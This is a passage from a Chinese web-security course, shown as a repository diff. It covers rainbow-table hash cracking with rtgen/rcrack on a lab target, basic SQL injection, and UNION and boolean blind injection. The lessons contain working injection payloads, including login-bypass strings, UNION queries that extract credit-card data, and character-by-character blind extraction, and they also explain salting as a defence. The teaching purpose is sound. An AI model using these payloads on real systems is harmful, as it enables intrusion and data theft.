通过随机选择多段明文重复执行这个过程,会产生多个HASH链,这些HASH链我们称为预计算的HASH链集。需要注意的是,存储的过程中我们只需要保存HASH链的头和尾,对于上述示例HASH链,我们只进行了2轮计算,所以其存储形态应该是(talentsec,bbbbbbbbb)。
|
||||
|
||||
那么我们要如何使用预计算的HASH链来进行攻击呢?
|
||||
|
||||
作为攻击者,我们需要破解一个HASH散列值。通过对该散列值进行多轮次的R函数、HASH函数计算,我们可以取得多个原始输入,如果原始输入与HASH链的头或者尾产生碰撞,HASH散列值的破解结果则很有可能存在于该链条中。
|
||||
|
||||
这里我们通过2个场景示例来直接感受一下,对于上述场景,如果我们希望破解的散列值是552e6a97297c53e592208cf97fbb3b6,通过1次R函数可以获得原始输入bbbbbbbbb,成功匹配到HASH链(talentsec,bbbbbbbbb),通过从头执行HASH链的计算过程,可以得出破解结果是aaaaaaaaa;同样是上述场景,如果我们希望破解的散列值是6f66114d09e7b9ddbfa8b286ea1e57a7,通过R函数-HASH函数-R函数计算可以获得原始输入bbbbbbbbb,依然成功匹配到HASH链(talentsec,bbbbbbbbb),通过从头执行HASH链的计算过程,可以得出破解结果是talentsec。
|
||||
|
||||
|
||||
|
||||
值得一提的是,破解中需要的运算轮次,一般与HASH链的计算轮次相同,如果达到了计算轮次却并未找到匹配的HASH链,则直接返回破解失败。
|
||||
|
||||
关于预计算HASH链的理想性能表现,我们可以通过简单的计算来分析。依然是8位密码的情况,假设我们定义了一个R函数,让每条HASH链能够执行1亿次计算,那么完成HASH链集的存储只需要大约220MB的空间。
|
||||
|
||||
722204136308736 / 50000000 ≈ 14444082 条HASH链
|
||||
722204136308736 * 16 / (50000000 * 1024 * 1024) ≈ 220 MB
|
||||
|
||||
|
||||
依然按照每秒100万次的速度来计算,单一HASH散列值从生成一条新的HASH链到完成匹配的时间预计不超过2分钟。
|
||||
|
||||
100000000 / (1000000 * 60) ≈ 1.67 mins
|
||||
|
||||
|
||||
彩虹表
|
||||
|
||||
那么,预计算的HASH链集就是彩虹表吗?其实并非如此。
|
||||
|
||||
预计算的HASH链集仍然存在着一些不足,主要是在性能表现方面。我们刚刚计算的攻击时间都是在理想情况下推演出来的,但是未经优秀设计就生成的预计算HASH链集,实际上并不能达到这个性能水平,因此才会出现彩虹表。我们可以将彩虹表理解为是一种经过精密设计的预计算HASH链集,在攻击时能发挥出理想的性能表现。
|
||||
|
||||
那么预计算HASH链集需要优化的核心点是哪里呢?接下来我们就一起来分析一下。
|
||||
|
||||
通过前面我们所讨论的攻击过程,不难判断,预计算的HASH链集包含多条HASH链,这一点我们从它的名字也不难看出,而每条HASH链能够覆盖的攻击范围,与它执行的计算次数呈现线性相关。最理想的情况当然是,每条HASH链所覆盖的攻击范围彼此互斥,这样在n条链的情况下,覆盖的攻击范围就是n x 单链计算次数/2。但现实往往没有这么理想,R函数的选择与设计可能会导致碰撞情况的发生:
|
||||
|
||||
|
||||
|
||||
通过上述示例可以发现,存在设计缺陷的R函数会导致大量碰撞的发生,而一旦中间某节点发生碰撞,就会导致后续节点全部碰撞,这样会大大缩小预计算HASH链集能够覆盖的攻击范围。又因为预计算HASH链只保存收尾节点,因此想要发现两条链的高度相似性是非常难的。
|
||||
|
||||
彩虹表的出现正是为了解决R函数引起的链碰撞问题。
|
||||
|
||||
彩虹表的设计理念是,在生成预计算的HASH链时采用多种R函数,也就是在每个轮次的计算中分别使用R1、R2、R3函数等,大致含义如下:
|
||||
|
||||
|
||||
|
||||
这样即使发生了之前我们所描述的碰撞情况,通常会是以下这种情况:
|
||||
|
||||
|
||||
|
||||
可以看到,虽然部分节点发生了碰撞,但是由于发生碰撞的位置并非在同一序列,使用的R函数也不是同一个,因此后续产生的节点也不相同。
|
||||
|
||||
这样,即使同一序列位置发生碰撞,导致后续节点完全相同,但是因为末节点是相同的,所以我们仍然可以非常快速地找出这条相似链,删除它来优化存储空间。
|
||||
|
||||
而关于彩虹表的使用方法,本质上与HASH链集并无二致,核心思想仍然是计算得出R函数的结果并与HASH链进行匹配。它们的区别在于,计算出的序列结果是否唯一。因为HASH链集使用的是相同的R函数,所以,如果我们对待破解的HASH散列进行R函数计算,所产生的序列结果是唯一的;但是彩虹表使用的是不同的R函数,因此计算时需要将待破解的HASH散列带入不同位置,从而得出多个序列结果。
|
||||
|
||||
案例实战
|
||||
|
||||
了解了彩虹表的原理和用法,接下来,我们就进入一个真实场景中实战一下。
|
||||
|
||||
打开MiTuan并选择【极客时间-漏洞挖掘与智能攻防实战】靶场,进入后选择【忘记加“盐”:加密结果强度不够吗?】靶机环境。
|
||||
|
||||
可以看到,这是一个很简单的登录界面。
|
||||
|
||||
|
||||
|
||||
接下来,我们使用简单的注入来获取用户密码信息:
|
||||
|
||||
User = ' union select username,password from users;
|
||||
Password = 1
|
||||
|
||||
|
||||
如果你不理解这个注入过程,不要担心,下一节课我们就会深入探讨SQL注入漏洞。-
|
||||
通过简单的注入操作,我们可以获得用户名以及密码信息如下:
|
||||
|
||||
|
||||
|
||||
Dumb
|
||||
2b161cb042f799e5f43ae6efc9e57926
|
||||
|
||||
|
||||
接下来我们就尝试使用彩虹表攻击来破解这个HASH散列值。
|
||||
|
||||
首先解压我们提供的压缩包,进入rainbow目录后运行如下命令:
|
||||
|
||||
docker build -t rainbow:v0 . # 构建镜像
|
||||
docker run -it rainbow:v0 # 启动容器并获得交互式shell
|
||||
|
||||
# 生成 md5哈希函数的 1-9a-zA-Z 最短1位 最长5位 10种不同R函数组合 每条链5000长度 10000条链 0偏移 的彩虹表
|
||||
./rtgen md5 mixalpha-numeric 1 5 10 10000 60000 0
|
||||
|
||||
# 生成彩虹表之后排序,方便结果查找
|
||||
./rtsort .
|
||||
|
||||
# 执行彩虹表破解,极小概率失败,主要是由于彩虹表具有不确定性,因此不能确保成功
|
||||
./rcrack . -h 2b161cb042f799e5f43ae6efc9e57926
|
||||
|
||||
|
||||
在我的电脑上大约不到1秒就完成破解了,密码明文是t1sec,破解结果如下:
|
||||
|
||||
1 rainbow tables found
|
||||
memory available: 1033964748 bytes
|
||||
memory for rainbow chain traverse: 160000 bytes per hash, 160000 bytes for 1 hashes
|
||||
memory for rainbow table buffer: 2 x 960016 bytes
|
||||
disk: ./md5_mixalpha-numeric#1-5_10_10000x60000_0.rt: 960000 bytes read
|
||||
disk: finished reading all files
|
||||
plaintext of 2b161cb042f799e5f43ae6efc9e57926 is t1sec
|
||||
|
||||
statistics
|
||||
----------------------------------------------------------------
|
||||
plaintext found: 1 of 1
|
||||
total time: 0.90 s
|
||||
time of chain traverse: 0.90 s
|
||||
time of alarm check: 0.00 s
|
||||
time of disk read: 0.00 s
|
||||
hash & reduce calculation of chain traverse: 49990000
|
||||
hash & reduce calculation of alarm check: 49990
|
||||
number of alarm: 257
|
||||
performance of chain traverse: 55.54 million/s
|
||||
performance of alarm check: 16.66 million/s
|
||||
|
||||
result
|
||||
----------------------------------------------------------------
|
||||
2b161cb042f799e5f43ae6efc9e57926 t1sec hex:7431736563
|
||||
|
||||
|
||||
可以看到彩虹表的查询速度是非常快的,每秒可以执行约5500万条链的查询,实际上本次爆破仅使用了0.9s就已经攻击完成。
|
||||
|
||||
安全实践
|
||||
|
||||
好,学习了这么多,那么如何存储密码才是安全的呢?
|
||||
|
||||
安全级别从低到高,来看看我们都有哪些选择。
|
||||
|
||||
首先,最简单也是安全级别最低的方案,是直接存储明文密码secret,这种方式一旦系统遭遇攻击,会导致所有账户密码泄露,因此毫无安全性可言,在实际应用中已经被抛弃了。
|
||||
|
||||
接下来,目前一种常见的密码存储方案,就是将明文密码带入一个HASH函数,并将散列值HASH(secret)作为结果存储到数据库,使用这种方案,系统即使受到了入侵,攻击者获得的也只是HASH散列值。但是由于彩虹表的存在,密码依然很容易被破解。
|
||||
|
||||
更进一步地,我们可以将明文密码加盐,对加盐结果进行Hush运算HASH(secret+salt),然后将运算的散列值结果存储到数据库中。在保证每个用户的salt不一样的情况下,这种方案的安全性是可接受的,为了保证这一点,我们可以选择用户名、手机号等信息作为salt。
|
||||
|
||||
最后我们来看看,如何从最佳安全实践的角度处理数据。
|
||||
|
||||
一般来说,加盐会通过在原始字段的特定位置增加特定的字符,使其与原始输入不一致,比如用户使用了一个密码:
|
||||
|
||||
talentsec
|
||||
|
||||
|
||||
经过MD5处理后,可以得出结果:
|
||||
|
||||
MD5 ("talentsec") = 0fd2671a7c179391e3e3ebb6ec70fa8f
|
||||
|
||||
|
||||
很明显,该密码长度仅有9位,且完全使用小写英文字母。这样的密码取值空间很小,因此是很容易被彩虹表攻击的。因此,我们选择在用户的密码后添加特定的字符串,来增加它的安全性,比如新增用户的用户名:
|
||||
|
||||
MD5 ("talentsecwwwhhhttt") = 91a9740ca090824cb00c4be0a319fb89
|
||||
|
||||
|
||||
可以看到加盐之后密码位数变长了,同时散列结果也发生了变化。-
|
||||
考虑到数据长度大幅增加,攻击者直接使用彩虹表攻击难度非常高。如果想要成功攻击散列值,攻击者则需要了解加盐的逻辑,并且以此逻辑重新生成彩虹表。即便如此,因为每个用户的加盐都是不一样的,攻击复杂度也只能针对单一密码降低,攻击者仍然无法使用彩虹表实现批量攻击,从结果上看,这将大大提高密码存储的安全性。
|
||||
|
||||
总结
|
||||
|
||||
回顾一下,这节课我们认识了一种系统开发中的调味品——“盐“。
|
||||
|
||||
首先,我们对“盐“是什么有了一个形象的认知,与做菜相似,系统中通过使用“盐“(salt)来混淆输入。而关于盐的使用,又不得不提HASH函数。作为一种特殊的密码学算法,HASH函数具备计算不可逆、数据长度压缩、难以伪造等特性,这些优秀的特性给它带来了非常多的应用场景,比如数据传递过程中的完整性校验、数据压缩与摘要、数据纠错与散列表等等。
|
||||
|
||||
正如人们由于烧菜时味道不够而生产了盐,在系统开发中,由于过去存储密码的方案安全性不足,因此引入了”盐“的概念。过去在系统中,普遍采用经过HASH函数运算的散列值来存储用户密码,这一过程面临的攻击主要包括暴力破解、字典攻击,但是这两种攻击方式因为在时间和空间上的损耗过高,所以难以真正实施。
|
||||
|
||||
彩虹表的出现打破了平静,它推翻了直接将用户密码运算出HASH散列值的方案,通过特殊设计的算法实现了时空平衡,这让攻击HASH散列值成为可能。
|
||||
|
||||
于是我们进一步分析了这种设计巧妙的攻击算法,验证了它对传统密码存储方案的威胁。而且我们不甘心于纸上谈兵,通过一个实战案例成功完成了一次彩虹表攻击。掌握了这种攻击方法,你就可以将它集成到自己的个性化智能攻击系统中。
|
||||
|
||||
最后,我们再次站在安全开发的角度,从目前普遍接受的安全实践出发,复现了最佳实践方案。
|
||||
|
||||
通过这节课的学习,相信你不仅掌握了HASH函数、盐、散列函数应用和安全最佳实践,还丰富了自己的智能攻击系统,使其功能更加强大。有了这些知识和装备的加持,相信你可以在安全领域进一步探索前行,发现更多二进制世界的秘密!
|
||||
|
||||
思考
|
||||
|
||||
在使用HASH链进行HASH散列值破解的过程中,如果原始输入与HASH链的头或者尾产生碰撞,为什么是很大可能性而不是一定在该链条中存在HASH散列值的破解结果呢?
|
||||
|
||||
欢迎在评论区留下你的思考,我们下节课再见。
|
||||
|
||||
相关工具:-
|
||||
https://github.com/talentsec/rainbow
|
||||
|
||||
|
||||
|
||||
|
209
专栏/Web漏洞挖掘实战/12注入(上):SQL注入起手式.md
Normal file
209
专栏/Web漏洞挖掘实战/12注入(上):SQL注入起手式.md
Normal file
@ -0,0 +1,209 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
12 注入(上):SQL注入起手式
|
||||
你好,我是王昊天。
|
||||
|
||||
从这节课开始,我们就进入了排名第三的风险种类——注入。
|
||||
|
||||
这是在上一份OWASP TOP 10榜单中排名第一的风险种类,同时也是在过去十年中最具威慑力的漏洞类型之一,关于这类安全风险出现了许多重大的漏洞,同时也有众多著名的安全工具致力于解决这类问题,其中最著名的安全工具之一就是sqlmap,作为SQL注入领域优秀的自动化检测工具,我们也会在之后的课程中深入探究。
|
||||
|
||||
那么什么是注入呢?
|
||||
|
||||
在著名的西游世界,就有许多次战斗生动地诠释了注入的威力,而这位善用注入的战斗大师就是我们勇敢机智的齐天大圣——孙悟空。在《西游记》中,孙悟空一共六次通过钻入敌人肚子的方式取得战斗的胜利。
|
||||
|
||||
注入
|
||||
|
||||
孙悟空的行为堪称注入攻击的典范,那么安全领域的注入攻击又是什么呢?
|
||||
|
||||
从抽象定义来说,注入攻击的本质是数据段与指令段的混淆,攻击者在原本应该作为数据段的输入中插入了恶意指令,同时将该恶意指令作为代码执行。正如孙悟空的战斗一般,妖怪肚子原本是消化食物用的,但却让孙悟空潜入其中,并且大显神威。
|
||||
|
||||
事实上,注入包含很多种类型,比如SQL注入、命令注入、XSS、资源注入等,其中SQL注入是最具代表性也是极为危险的一类漏洞,这一讲我们就从SQL注入入手来展开探讨。
|
||||
|
||||
查询过程与SQL注入
|
||||
|
||||
|
||||
|
||||
提到注入,就不得不提到查询过程。
|
||||
|
||||
以最常见的SQL注入为例,这类安全风险,就是将不可信的用户输入与SQL查询语句拼接产生的。事实上,SQL注入是Web安全领域最危险的漏洞种类之一,一方面SQL注入漏洞的利用过程比较简单,另一方面SQL注入漏洞可能导致数据库失窃、数据被篡改及清除等安全风险。在更严重的情况下,SQL注入可以通过应用程序传递恶意命令,控制托管数据库的操作系统,并以此为跳点成功进入内网。
|
||||
|
||||
SQL注入的危害
|
||||
|
||||
接下来我们来看一看SQL注入会产生哪些危害。
|
||||
|
||||
首先,SQL注入可能会导致数据的泄露。我们以一个电商系统为例,看看这个过程是怎么发生的。
|
||||
|
||||
在一个电商系统中,我们都会有一个个人信息页面用于编辑、展示和存储我们的相关信息,通常的URL地址如下:
|
||||
|
||||
https://example.com/user_info?username=talentsec
|
||||
|
||||
|
||||
在这种场景下,我们可以选择使用这种SQL语句来实现相应功能:
|
||||
|
||||
SELECT * FROM users WHERE username = 'talentsec';
|
||||
|
||||
|
||||
这里我们可以展开做一下思考,如果SQL语句变为如下格式,是否随着id的数值变化可以取得不同的数据呢?很明显是可以的。
|
||||
|
||||
SELECT * FROM users WHERE username = 'talentsec' or id = '1';
|
||||
|
||||
|
||||
我们只需要尝试去修改username参数,将其设置为talentsec' or id = '1即可实现上述攻击过程。-
|
||||
进一步地设想一种更复杂的场景,在这种场景下SQL语句不只有一个条件,除了用户名,还增加了账户活跃这一条件。
|
||||
|
||||
SELECT * FROM users WHERE username = 'talentsec' and account_status = 'alive';
|
||||
|
||||
|
||||
因为SQL语句变得更加复杂了,如果我们还用之前的方式攻击,就会破坏语句完整性,导致攻击无法顺利进行:
|
||||
|
||||
SELECT * FROM users WHERE username = 'talentsec' or id = '1' and account_status = 'alive';
|
||||
|
||||
|
||||
为了保证SQL语句的完整性,我们可以通过增加--注释符,让SQL语句重新恢复为合法格式,保证攻击能够顺利执行。调整后,username参数被设置为talentsec' or id = '1' ; -- and account_status = 'alive。 最终目的语句构造如下:
|
||||
|
||||
SELECT * FROM users WHERE username = 'talentsec' or id = '1' ; -- and account_status = 'alive';
|
||||
|
||||
|
||||
可以发现,由于SQL注入漏洞的存在,攻击者可以通过调整参数内容,获取到本不应该访问到的数据,这就会造成业务系统关键数据的泄露。
|
||||
|
||||
除了会造成数据泄露外,SQL注入漏洞还可能修改程序的执行逻辑。
|
||||
|
||||
这个过程我们将在登录场景下复现。正常的Web应用系统都会具备登录功能,通过将用户输入的用户名及密码传入后端,程序可以在后端匹配账户信息来验证正确性,其中一种SQL语句实现方式如下:
|
||||
|
||||
SELECT * FROM users WHERE username = 'talentsec' and password = 'TALENTSEC';
|
||||
|
||||
|
||||
如果该查询能够返回结果,则说明登录成功,否则说明登录失败。一名恶意的攻击者,可以构造如下SQL语句使其绕过登录限制,也就是说,攻击者可以在仅知道用户名的情况下,成功完成登录:
|
||||
|
||||
SELECT * FROM users WHERE username = 'talentsec';--' and password = 'test';
|
||||
|
||||
|
||||
可以看到,在这次攻击中攻击者所使用的用户名是talentsec';--,密码是test。虽然真实密码并不是test,但攻击者却成功登录了talentsec账户。
|
||||
|
||||
SQL注入的危害是巨大的,其攻击过程也较为复杂,接下来我们就来进一步探讨如何发现以及实施SQL注入攻击。
|
||||
|
||||
SQL注入实战技法
|
||||
|
||||
漏洞发现
|
||||
|
||||
知道吗,对于SQL注入漏洞来说,最难的一点其实是发现漏洞,而非利用漏洞。因为正如我们前面讨论的,SQL注入漏洞的利用过程相对简单,只要能够发现漏洞,利用不是问题。
|
||||
|
||||
为了更准确地发现SQL注入漏洞,我们需要了解,应用程序在什么时候会与数据库通信。这里,我给你提供两点参考。
|
||||
|
||||
你首先需要关注的是,通过表单提交认证的过程。这一过程会将用户输入的凭据发送到应用程序后端,并与数据库中存储的凭据进行比对。另外,一些管理后台和CMS系统,通过用户传入的参数针对性查询数据的时候,也需要我们特别关注。
|
||||
|
||||
一名优秀的攻击者需要对应用系统的接口参数有全面的了解,这些参数包括POST请求中隐藏的字段,也包括HTTP Header和Cookie。接下来,攻击者需要对每个参数进行针对性的攻击尝试,并观测系统结果。通常,最初的攻击尝试由'和;组成,这两个字符分别用于闭合字符串以及SQL查询语句。如果存在SQL注入漏洞,这两个字符的输入很有可能会触发系统报错。除此以外,一些注释符(--和/**/等)以及SQL关键字(AND和OR等)同样也可以被用来检测SQL注入漏洞点。
|
||||
|
||||
值得一提的是,虽然我们常常通过观测系统报错的方法来判断SQL注入漏洞点,但是并非所有SQL注入漏洞都会触发显性的系统报错。许多时候我们也会遇见500 Server Error或者系统的自定义报错界面,这时我们就需要考虑使用盲注或是其他攻击方式。
|
||||
|
||||
SQL注入漏洞作为一个漏洞大类,利用方式是比较多的,这使得它看起来有些复杂。但是,这类漏洞的利用过程见得多了,就会发现它们其实有相似的套路,借用《卖油翁》中的话说就是“无他,唯手熟尔”。
|
||||
|
||||
我们仍以经典的SQL查询语句为例:
|
||||
|
||||
SELECT * FROM users WHERE username='$username' AND password='$password';
|
||||
|
||||
|
||||
我们对username和password构造一种特殊的输入:
|
||||
|
||||
$username = 1' or '1' = '1
|
||||
$password = 1' or '1' = '1
|
||||
|
||||
|
||||
代入参数后,SQL查询语句变成:
|
||||
|
||||
SELECT * FROM users WHERE username='1' or '1' = '1' AND password='1' or '1' = '1';
|
||||
|
||||
|
||||
可以发现,在上述SQL语句中,不管or和AND操作符谁的优先级高,WHERE语句的条件都是永远为真的,因此我们可以通过这个操作,实现认证过程的绕过。
|
||||
|
||||
接下来,我们对原始SQL语句进行一次升级,这种升级后的语句也是非常常见的:
|
||||
|
||||
SELECT count(*) FROM users WHERE ((username='$username') AND (password=MD5('$password')));
|
||||
|
||||
|
||||
可以看到,这次升级一方面在username部分新增了括号,另一方面在处理password时,选择了MD5散列结果进行比较,最后又统计了查询结果的数量,经过升级之后,上一次的构造就无法生效了。
|
||||
|
||||
这时,如果我们想要构造新的参数完成SQL注入,就要解决三个问题,第一是括号的闭合,第二是password部分的比对,第三是要确保查询数量为1。于是我们构造如下输入:
|
||||
|
||||
$username = 1' or '1' = '1')) LIMIT 1 --
|
||||
$password = test
|
||||
|
||||
|
||||
将参数代入后查询语句变成:
|
||||
|
||||
SELECT count(*) FROM users WHERE ((username='1' or '1' = '1')) LIMIT 1 --') AND (password=MD5('$password')));
|
||||
|
||||
|
||||
可以发现上述SQL语句实现了括号的闭合、忽略了password判断部分,并且限制结果数量为1,这段语句同时满足了3个限制条件,成功实现了SQL注入攻击。
|
||||
|
||||
在基本起手式阶段,除了这种使用'来进行注入探测的方式以外,我们还可以使用AND符号来判断参数是否可以被当做运算符参与代码执行。以常见的CMS类型系统为例,常见的帖子链接如下:
|
||||
|
||||
https://example.com/article.php?id=1
|
||||
|
||||
|
||||
在已知【id=1帖子】存在的情况下,我们可以将id参数设置为1 AND 1=0,并且和SQL语句完成拼接:
|
||||
|
||||
SELECT * from articles WHERE article_id = 1 AND 1=0;
|
||||
|
||||
|
||||
如果该页面无法显示内容,就说明1 AND 1=0中后半部分的False结果参与了运算,依此可以判断SQL注入漏洞的存在。
|
||||
|
||||
数据库信息
|
||||
|
||||
通过起手式阶段的基本动作,我们可以发现SQL注入漏洞是否存在。
|
||||
|
||||
在成功发现SQL注入漏洞之后,为了给后续更高级的注入动作做好铺垫,我们需要进入一个新的阶段–获取数据库信息。而之所以展开讲述这部分的主要原因是,虽然SQL语句是相对标准化的,但是每种DBMS在特殊指令、获取数据操作等方面都会有一些差异,因此在实际SQL注入过程中我们需要考虑到数据库差异使用不同的语法。
|
||||
|
||||
如果我们想要判断一个后端数据库的类型,让这个数据库报错是一个快速的方法。这里我们列举几种常见的错误信息,可以发现MySQL、MS SQL Server、PostgreSQL的报错信息都有比较明显的特征:
|
||||
|
||||
You have an error in your SQL syntax; check the manual
|
||||
that corresponds to your MySQL server version ...
|
||||
Microsoft SQL Native Client error ...
|
||||
Query failed: ERROR: syntax error at or near ...
|
||||
|
||||
|
||||
事实上,对于不同类型的数据库,获取其数据库种类和版本号的SQL语句也会有一些差异:
|
||||
|
||||
SELECT @@version; -- Microsoft, MySQL
|
||||
SELECT * FROM v$version; -- Oracle
|
||||
SELECT version(); -- PostgreSQL
|
||||
|
||||
|
||||
|
||||
|
||||
除了数据库类型和版本信息,还有哪些信息是攻击者想知道的呢?我们只要想想后面注入过程需要哪些信息,答案就不辩自明了,其实,就是数据库中包含的表,和每张表的结构信息。令人欣慰的是,数据库中有一张表存储了这些信息,这张表是information_schema。通过如下SQL语句可以查询出数据库中有哪些表以及每张表的结构:
|
||||
|
||||
SELECT * FROM information_schema.tables;
|
||||
SELECT * FROM information_schema.columns WHERE table_name = 'users';
|
||||
SELECT * FROM all_tables; -- For Oracle
|
||||
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'; -- For Oracle
|
||||
|
||||
|
||||
总结
|
||||
|
||||
这节课我们进入了第三大风险种类——注入。
|
||||
|
||||
作为上一份榜单中排名第一的安全风险,其威力不可小觑。在Web业务系统中,注入普遍以SQL注入形式存在,而SQL注入又与查询过程密不可分。通过利用SQL注入漏洞,不仅可以造成数据泄露、数据删除等后果,甚至可能使数据库服务器执行任意命令,进而导致整个内网的沦陷。
|
||||
|
||||
从技术角度来看,SQL注入的影响主要是两个方面,一方面是影响数据查询逻辑,使得攻击者能够越权访问数据库数据,另一方面是通过篡改数据查询逻辑进而修改SQL语句执行过程。
|
||||
|
||||
事实上,SQL注入漏洞虽然威力巨大,而且利用过程相对复杂,但是难度并不高。其难点主要在于如何发现SQL注入点,以及如何找到正确的利用方式。
|
||||
|
||||
关于如何发现SQL注入点,我向你介绍了一种有效的方法,那就是,在了解应用系统的完整接口以及接收的参数清单后,有针对性地逐一进行注入点排查。比较经典的注入点验证方案有'和;,以及AND和OR等 。
|
||||
|
||||
在确定正确的利用方式上,SQL注入虽然招式繁多,但是却有着完整的体系和套路,熟练掌握之后完全可以“一招鲜吃遍天”。起手式阶段最主要的组合拳就是AND和OR、'和-- ,第一招打完之后,为了给高级招式做铺垫,我们要学习下一招–知己知彼,通过利用information_schema获取数据库中包含的表以及对应的表结构。
|
||||
|
||||
截止到目前,你已经掌握了初级SQL注入功力,能够在简单的场景下完成SQL注入攻击同时掌握数据库的结构。下节课我们一起来学习高级招式,包括UNION注入、BOOLEAN注入、时间盲注、DNS带外注入等多种攻击变种。
|
||||
|
||||
思考
|
||||
|
||||
你可以尝试使用MiTuan 靶场中的Sqlilabs完成基本的起手式和知己知彼这两招吗?
|
||||
|
||||
期待你的动手实践,也欢迎你把这节课分享给有需要的朋友,我们下节课再见!
|
||||
|
||||
|
||||
|
||||
|
283
专栏/Web漏洞挖掘实战/13注入(下):SQL注入技战法及相关安全实践.md
Normal file
283
专栏/Web漏洞挖掘实战/13注入(下):SQL注入技战法及相关安全实践.md
Normal file
@ -0,0 +1,283 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
13 注入(下):SQL注入技战法及相关安全实践
|
||||
你好,我是王昊天。
|
||||
|
||||
上节课我们学习了SQL注入的基本原理和基础动作,但想要完成SQL注入攻击,仅凭借基础知识是不够的。这节课我们就来深入分析不同场景下的SQL注入,来了解这些场景下都有哪些攻击方式。
|
||||
|
||||
事实上,即使同为SQL注入漏洞,由于攻击过程中可利用的条件和限制不同,所能够采取的攻击方式也是有差异的。比如在篮球比赛中,同样是上篮,由于防守队员的不同,甚至是防守人数的不同,都会有不同的动作。
|
||||
|
||||
注入技巧
|
||||
|
||||
|
||||
|
||||
联合注入(UNION注入)
|
||||
|
||||
当SELECT语句中存在可以使用的SQL注入漏洞时,就可以用联合注入方法进行SQL注入,将两个查询合并为一个结果或结果集。
|
||||
|
||||
联合注入是在SQL注入中加入一个新的查询,在完成原始数据查询后,再进行一次查询,并将新的结果加入到原始查询的结果中,攻击者可以通过这种方式来获得目标数据。比如如下查询语句:
|
||||
|
||||
SELECT Name, Phone, Address FROM Users WHERE Id=$id
|
||||
# http://www.example.com/product.php?id=10
|
||||
|
||||
|
||||
这是一个简单的查询语句,目标是从Users表中查询指定id值的用户的姓名、密码以及地址信息。
|
||||
|
||||
这里我们可以对id的值进行设置,如果将id的值设为:
|
||||
|
||||
1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
|
||||
|
||||
|
||||
那么整条查询语句将会变为:
|
||||
|
||||
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
|
||||
|
||||
|
||||
可以看到,我们已经构造出了一个联合查询语句,这里有两点需要我们特别关注。首先需要特殊说明的是,语句中ALL的作用。它防止我们添加的联合查询结果和原本的结果一致,导致其被过滤掉无法显示。添加ALL之后,即使联合查询的结果与原本的查询一致,也会返回两条一致的查询结果,从而方便我们判断攻击效果。
|
||||
|
||||
在联合查询中,另一个需要特殊说明的,是占位数据。可以看到,我们除了选择查询creditCardNumber,还添加了两个常数1。这是因为,原本查询的输出就包含三个字段,它们是“Name”、“Data”以及“Age”,其中“Data”以及“Age”都是常数类型的字段。在使用联合查询中,我们需要保证前后查询的字段数量、数据类型对应一致,上述查询过程中的1就是为了满足该需求。
|
||||
|
||||
可以发现,为了使用联合注入,我们需要提前知道原本查询的字段数量以及值的类型。
|
||||
|
||||
对于字段数量信息,我们可以利用ORDER BY来进行判断,例如:
|
||||
|
||||
SELECT Name, Phone, Address FROM Users WHERE Id=1 ORDER BY 10
|
||||
|
||||
|
||||
其中ORDER BY 10意味着,将获取的数据按照第十个字段来进行排序。如果字段个数不足十个,就会报错;如果能正常获得输出,那么就能推断出字段个数不少于十个。通过递增修改ORDER BY后的值,我们就可以成功推断出字段的个数。
|
||||
|
||||
在联合查询中,如果联合查询前后输出的字段类型不一致,就会报错。我们可以利用这一点,通过null来判断字段的类型,例如:
|
||||
|
||||
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT 1,null,null
|
||||
|
||||
|
||||
在上述语句中,因为null可以匹配任意类型,所以Phone和Address的类型匹配不会产生问题,这就让我们就能专心判断第一个字段Name的类型 。如果能获得正常输出,那么就表明Name字段的类型是整数。如果报错,就将1改为其他类型的数据继续判断。在获取到Name的类型后,我们可以重复该过程,继续判断其它字段类型,直到获取到所有字段的类型信息为止。
|
||||
|
||||
在使用联合注入时,如果系统开发者用了LIMIT来限制查询结果,让应用只显示第一条查询结果,这就会导致,即使我们成功进行了注入攻击,依然只能获得原本查询的信息。这时我们可以对系统原本查询的参数赋予不存在的值,使我们添加的联合查询成为唯一能够获取到结果的查询。
|
||||
|
||||
SELECT Name, Phone, Address FROM Users WHERE Id=99999 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
|
||||
|
||||
|
||||
盲注(BOOLEAN注入)
|
||||
|
||||
当应用可以受到注入攻击,但是它反馈的响应内容,不包含相关的SQL查询结果或者数据库报错详细信息时,联合注入就会变得无效,这时我们可以使用盲注。
|
||||
|
||||
盲注也有很多种利用方式,如果应用可以根据是否查询到内容这一点,进行不同的响应,那我们就可以使用盲注。比如,网站设计者制作了一个错误界面,它不返回SQL语句的具体错误信息,而是仅仅返回错误代码,像是HTTP 500等类似信息。这时我们可以通过适当的推理,来绕过这个阻碍,最终成功获取到我们想要的数据。
|
||||
|
||||
在布尔注入的过程中会用到如下几个重要的处理函数:
|
||||
|
||||
SUBSTRING(text, start, length)
|
||||
# 在“text”中从索引为“start”开始截取长度为“length”的子字符串,如果“start”的索引超出了“text”的总长度,那么该函数返回值为“null”。
|
||||
|
||||
ASCII(char)
|
||||
# 获取“char”的 ASCII值,如果“char”为“null”,那么该函数返回值是0。
|
||||
|
||||
LENGTH(text)
|
||||
# 获取“text”字符串的长度。
|
||||
|
||||
|
||||
利用上述函数,我们就可以实现盲注,例如有一个叫Users的数据表,包含字段Id,username,我们可以使用盲注枚举出username的每一个字符值,通过拼接得出完整的数值,如下是判断username的第一个字符的ASCII值是否为97的语句:
|
||||
|
||||
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
|
||||
|
||||
|
||||
如果得到了正确的回应,就说明username的ASCII值为97,我们通过查询ASCII表就可以获得对应的字符值,之后继续判断username的后续字符。如果得到错误回应,那我们可以把ASCII的值进行更换,直到换为正确回应为止。
|
||||
|
||||
实现上面的判断需要我们能够区分正确回应和错误回应。我们可以用如下示例来获取正确回应和错误回应,通过对比将它们区分开来。
|
||||
|
||||
SELECT field1, field2, field3 FROM Users WHERE Id='1' OR '1' = '1'
|
||||
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
|
||||
|
||||
|
||||
我们在判断username值的第N位的过程中,如果该位的ASCII值等于零,那我们就需要判断是否username到了末尾,这时候,我们就可以运用如下代码进行判断username的长度是否为N:
|
||||
